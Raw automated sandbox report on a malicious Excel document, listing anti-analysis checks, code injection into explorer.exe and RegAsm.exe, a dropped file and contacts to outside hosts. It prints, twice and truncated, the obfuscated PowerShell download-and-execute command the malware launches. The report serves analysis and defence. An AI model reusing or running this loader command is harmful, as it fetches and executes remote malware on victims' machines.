Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\taskeng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\taskeng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\taskeng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\taskeng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: #20240627_Edlen_A.xls Stream path 'Workbook' entropy: 7.98995851121 (max. 8.0)
Source: 26330000.0.dr Stream path 'Workbook' entropy: 7.99021384416 (max. 8.0)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Malware Analysis System Evasion
barindex
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Contains functionality to compare user and computer (likely to detect sandboxes)
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, 22_2_00083862
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Windows\SysWOW64\explorer.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\rugtucw Memory allocated: 2D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Memory allocated: 23B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Memory allocated: 400000 memory reserve | memory write watch Jump to behavior
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_000816C7 GetCurrentProcessId,GetCurrentThreadId,CreateToolhelp32Snapshot,Thread32First,OpenThread,SuspendThread,ResumeThread,CloseHandle,Thread32Next,CloseHandle, 22_2_000816C7
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 846 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1515 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2052 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7806 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 624 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3368 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 3464 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3608 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3580 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3656 Thread sleep count: 2052 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3656 Thread sleep count: 7806 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3692 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3696 Thread sleep time: -11068046444225724s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3696 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 1340 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\System32\taskeng.exe TID: 4028 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw TID: 4064 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 3204 Thread sleep count: 31 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 3204 Thread sleep time: -31000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 3188 Thread sleep count: 33 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 3188 Thread sleep time: -33000s >= -30000s
Source: C:\Windows\explorer.exe TID: 3328 Thread sleep count: 33 > 30
Source: C:\Windows\explorer.exe TID: 3328 Thread sleep time: -33000s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00081D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose, 18_2_00081D4A
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00083ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose, 18_2_00083ED9
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00082B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose, 18_2_00082B15
Source: C:\Windows\SysWOW64\explorer.exe Code function: 21_2_0008255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose, 21_2_0008255C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_000815BE RtlZeroMemory,SHGetSpecialFolderPathW,lstrcatW,PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathCombineW,PathMatchSpecW,PathCombineW,FindNextFileW,FindClose, 22_2_000815BE
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_000814D8 wsprintfW,FindFirstFileW,wsprintfW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose, 22_2_000814D8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_000813FE wsprintfW,FindFirstFileW,wsprintfW,RemoveDirectoryW,FindNextFileW,FindClose, 22_2_000813FE
Source: C:\Windows\explorer.exe Code function: 23_2_000E1EB4 FindFirstFileW, 23_2_000E1EB4
Source: C:\Windows\explorer.exe Code function: 23_2_000E1DB0 FindFirstFileW, 23_2_000E1DB0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00086512 GetSystemInfo, 18_2_00086512
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: explorer.exe, 0000000E.00000000.464250384.00000000001D6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7
Source: explorer.exe, 0000000E.00000000.466511830.0000000003E59000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 0000000E.00000000.466511830.0000000003E59000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 0000000E.00000000.466511830.0000000003E59000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}eeab7790
Source: explorer.exe, 0000000E.00000002.607048894.0000000007948000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0K
Source: explorer.exe, 0000000E.00000000.466511830.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0
Source: explorer.exe, 0000000E.00000000.465326275.00000000025E0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0a
Source: explorer.exe, 0000000E.00000002.607048894.0000000007948000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000v
Source: explorer.exe, 0000000E.00000000.466511830.0000000003E59000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}100\4&20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe System information queried: CodeIntegrityInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_00081E4C CloseHandle,RtlMoveMemory,LoadLibraryA,GetProcAddress,LdrProcessRelocationBlock, 22_2_00081E4C
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_000816C7 GetCurrentProcessId,GetCurrentThreadId,CreateToolhelp32Snapshot,Thread32First,OpenThread,SuspendThread,ResumeThread,CloseHandle,Thread32Next,CloseHandle, 22_2_000816C7
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_000E9247 RtlDeleteCriticalSection,RtlDeleteCriticalSection,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect, 18_2_000E9247
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00081000 GetProcessHeap,RtlAllocateHeap, 18_2_00081000
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: rugtucw.14.dr Jump to dropped file
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\explorer.exe Network Connect: 77.232.129.190 80 Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Domain query: paste.ee
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 188.114.96.3 443 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Domain query: prolinice.ga
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3620, type: MEMORYSTR
Bypasses PowerShell execution policy
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhD
Creates a thread in another existing process (thread injection)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread created: C:\Windows\explorer.exe EIP: 3F11960 Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\explorer.exe Memory written: PID: 4072 base: 95102D value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 3124 base: FF31B794 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 2128 base: 95102D value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 3196 base: 95102D value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 3208 base: FF31B794 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 3192 base: 95102D value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 3324 base: FF31B794 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 3388 base: 95102D value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 3352 base: FF31B794 value: 90 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7EFDE008 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 95102D Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 95102D Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 95102D Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 95102D Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 95102D Jump to behavior
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Source: C:\Windows\SysWOW64\explorer.exe Code function: RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpi,lstrcmpi,Process32Next,CloseHandle,Sleep, explorer.exe 28_2_000C1016
Source: C:\Windows\SysWOW64\explorer.exe Code function: wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpi,lstrcmpi,Process32Next,CloseHandle,Sleep, explorer.exe 28_2_000C10A5
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\lionarekingofjungleimageshe.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDg